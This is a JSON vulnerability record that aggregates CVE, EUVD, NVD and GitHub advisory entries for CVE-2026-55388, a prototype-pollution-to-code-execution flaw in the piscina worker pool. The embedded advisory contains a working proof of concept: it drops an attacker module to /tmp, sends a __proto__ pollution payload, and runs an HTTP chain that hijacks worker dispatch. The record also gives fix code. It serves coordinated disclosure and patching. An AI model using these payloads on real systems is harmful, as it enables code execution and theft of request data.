{"id":"GHSA-x9g3-xrwr-cwfg","revision":null,"records":[{"revision":"cadb702f7bcf46cead4bfc4092b94f5d","observedAt":"2026-11-03T21:57:16.832+00:00","statement":{"source":"cve-program","id":"CVE-2026-55388","aliases":[],"title":"piscina: Prototype Pollution Gadget → RCE via inherited options.filename","description":"piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.","state":0,"publishedAt":"2026-06-22T16:50:40.867+00:00","modifiedAt":"2026-11-03T19:14:08.615+00:00","affected":[{"ecosystem":"Vendor product","name":"piscina","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"piscinajs\",\n                    \"product\": \"piscina\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.9.3\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.0.0-alpha.0, < 5.2.0\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 6.0.0-rc.1, < 6.0.0-rc.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55388","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-55388","identifiers":["CVE-2026-55388"]},"retained":false,"historicalAffected":[]},{"revision":"8dee8f4cc74e49fb959e3a2324a5b32d","observedAt":"2026-11-07T12:31:56.278+00:00","statement":{"source":"euvd","id":"EUVD-2026-38320","aliases":["CVE-2026-55388","GHSA-x9g3-xrwr-cwfg"],"title":"piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's op…","description":"piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":null}],"references":["https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-38320","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 22, 2026, 4:50:40 PM","dateUpdated":"Nov 3, 2026, 7:14:08 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-38320","identifiers":["EUVD-2026-38320","CVE-2026-55388","GHSA-x9g3-xrwr-cwfg"]},"retained":false,"historicalAffected":[]},{"revision":"106503389c304ef98d4e1cb3c5d26e7a","observedAt":"2026-10-27T14:13:40.804+00:00","statement":{"source":"nvd","id":"CVE-2026-55388","aliases":[],"title":"piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's op…","description":"piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.","state":0,"publishedAt":"2026-06-22T18:16:47.93+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":8.1,"severity":"HIGH"}],"references":["https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55388","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94","CWE-1321"],"productCriteria":[],"sourceDates":{"published":"2026-06-22T18:16:47.930","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-55388","identifiers":["CVE-2026-55388"]},"retained":false,"historicalAffected":[]},{"revision":"f29bd2ae5cdb4883b44f0e22645b0520","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-x9g3-xrwr-cwfg","aliases":["CVE-2026-55388"],"title":"piscina: Prototype Pollution Gadget → RCE via inherited options.filename","description":"## Summary\n\n`piscina`'s constructor and `run()` paths read the `filename` option via plain member access:\n\n```js\n// dist/index.js line 92 (constructor)\nconst filename = options.filename\n  ? (0, common_1.maybeFileURLToPath)(options.filename)\n  : null;\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n\n// dist/index.js line 616 (run())\nrun(task, options = kDefaultRunOptions) {\n    if (options === null || typeof options !== 'object') {\n        return Promise.reject(new TypeError('options must be an object'));\n    }\n    const { transferList, filename, name, signal } = options;\n```\n\nBoth reads fall through the prototype chain when the caller's options object doesn't have `filename` as an own property. When `Object.prototype.filename` is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to `worker_threads.Worker` import and the attacker's `.mjs` runs in the worker.\n\n**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.\n\n## Impact\n\nTwo preconditions:\n\n1. **Upstream PP-source** somewhere in the process — common in transitive deps\n2. **Attacker-controllable `.mjs`** at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain\n\nOnce both fire:\n- Every `pool.run(task, opts)` call across the entire process is hijacked\n- Attacker's exported function is called with the legitimate caller's task data — **attacker reads per-request app data**\n- Attacker controls the return value — caller receives `worker_response.by = \"ATTACKER-WORKER\"` and any other attacker-supplied response fields — **attacker can poison return values to legitimate clients**\n- Hijack persists until process restart\n\nStrictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).\n\n## Affected versions\n\nEmpirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor's `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.\n\n## Proof of concept\n\n### A) Minimal in-process PoC\n\n```js\nimport fs from 'fs';\n\n// 1) Drop the attacker module (any path the victim process can read)\nfs.writeFileSync('/tmp/atk.mjs', `\n  import fs from 'fs';\n  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({\n    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],\n  }));\n  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }\n`);\n\n// 2) Upstream PP-source — pollute Object.prototype.filename\n//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,\n//     and ~30 historical PP-source CVEs)\nconst payload = JSON.parse('{\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}');\nfunction vulnMerge(t, s) {\n  for (const k of Object.keys(s)) {\n    if (s[k] !== null && typeof s[k] === 'object') {\n      if (!t[k]) t[k] = {};\n      vulnMerge(t[k], s[k]);\n    } else t[k] = s[k];\n  }\n}\nvulnMerge({}, payload);\n\n// 3) Piscina with empty options inherits the polluted filename\nconst { Piscina } = await import('piscina');\nconst p = new Piscina({});                        // inherits filename\nconst result = await p.run({});                   // worker imports /tmp/atk.mjs\nawait p.destroy();\n\n// 4) sentinel exists; attacker fn was called with task data\nconsole.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));\nconsole.log('attacker fn returned:', result);\n// → \"attacker-return-{}\"\n```\n\n### B) Full-stack HTTP chain (this is the realistic shape)\n\nA correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` — the standard abort-aware shape.\n\n```js\n// === server.mjs ===\nimport express from 'express';\nimport { Piscina } from 'piscina';\n\n// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)\nfunction vulnMerge(t, s) {\n  for (const k of Object.keys(s)) {\n    if (s[k] !== null && typeof s[k] === 'object') {\n      if (!t[k]) t[k] = {};\n      vulnMerge(t[k], s[k]);\n    } else t[k] = s[k];\n  }\n}\n\n// CORRECT pool init at boot\nconst pool = new Piscina({\n  filename: './valid-worker.mjs',\n  minThreads: 1, maxThreads: 2,\n});\n\nconst config = {};\nconst app = express();\n\napp.post('/api/settings', express.json(), (req, res) => {\n  vulnMerge(config, req.body);                    // PP source\n  res.json({ ok: true });\n});\n\napp.post('/api/process', express.json(), async (req, res) => {\n  const ac = new AbortController();\n  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked\n  res.json({ ok: true, worker_response: result });\n});\n\napp.listen(7755);\n\n// === Attacker, 3 HTTP requests ===\n// POST /upload  → drops /tmp/atk.mjs\n// POST /api/settings with body: {\"__proto__\":{\"filename\":\"/tmp/atk.mjs\"}}\n// POST /api/process → pool.run() destructures filename via prototype\n//                  → worker imports /tmp/atk.mjs\n//                  → attacker fn called with req.body of THIS request\n//                  → caller receives attacker-shaped response\n```\n\nEmpirical observation on `piscina@5.1.4` + Node 23.11.0:\n- Pre-attack `/api/process` returns `{by: 'valid-worker'}`\n- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide\n- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed: <caller's exfil data>}`\n- Sentinel file written from inside `piscina/dist/worker.js` with the worker process's uid + env access\n\n## Recommended fix\n\nMinimal — own-property guard at both option-read sites:\n\n```js\n// constructor (line 92)\nconst userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')\n  ? options.filename\n  : null;\nconst filename = userFilename\n  ? (0, common_1.maybeFileURLToPath)(userFilename)\n  : null;\n\n// run() (line 616)\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, options);          // copies own props only? — keeps shape\nconst { transferList, filename, name, signal } = safeOpts;\n```\n\nMore idiomatic — use a null-prototype working object throughout `this.options`:\n\n```js\nconst safeOpts = Object.create(null);\nObject.assign(safeOpts, kDefaultOptions, options);\nthis.options = safeOpts;\nthis.options.filename = safeOpts.filename\n  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)\n  : null;\nthis.options.maxQueue = 0;\n```\n\nEither approach closes the gadget without breaking any legitimate caller pattern.\n\nThe pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.\n\n## Coordination\n\n- Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.\n- Will not share publicly until GHSA published or 90 days.\n- Please credit `ridingsa` if you choose to credit a reporter.\n\n## How this was discovered\n\nGeneralized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.","state":0,"publishedAt":"2026-06-18T13:05:11+00:00","modifiedAt":"2026-09-10T03:50:12.2573952+00:00","affected":[{"ecosystem":"npm","name":"piscina","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0-alpha.0"},{"kind":"fixed","version":"5.2.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"piscina","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.9.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"piscina","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.0.0-rc.1"},{"kind":"fixed","version":"6.0.0-rc.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg","https://github.com/piscinajs/piscina"],"sourceUrl":"https://github.com/advisories/GHSA-x9g3-xrwr-cwfg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-x9g3-xrwr-cwfg","identifiers":["GHSA-x9g3-xrwr-cwfg","CVE-2026-55388"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:46.9707302+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.9707321+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-1766179264875bb4621a23ce4c6bcebec63fb794a16e35c2f5592f4ee300ee2e","complete":true,"records":420944,"lastAttemptAt":"2026-11-07T20:52:46.1142943+00:00","lastSuccessAt":"2026-11-07T20:52:46.0341312+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.1142943+00:00","snapshotPublishedAt":"2026-11-07T20:26:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-cbfb00168958467aaa6015d5230faa08","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T21:04:54.6100336+00:00","lastSuccessAt":"2026-11-07T21:04:54.606+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:04:54.606+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:52:46.7845564+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:52:46.7845564+00:00","lastSuccessAt":"2026-11-07T20:52:47.1482288+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:47.1482303+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b9464f9c589b4886928e7045b5ad1e11","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:52:54.6850231+00:00","lastSuccessAt":"2026-11-07T20:52:54.68+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:54.68+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:52:46.6024506+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.6024506+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:52:46.3552169+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.3552169+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:52:46.7261257+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.7261257+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:52:46.4923243+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:52:46.4923243+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}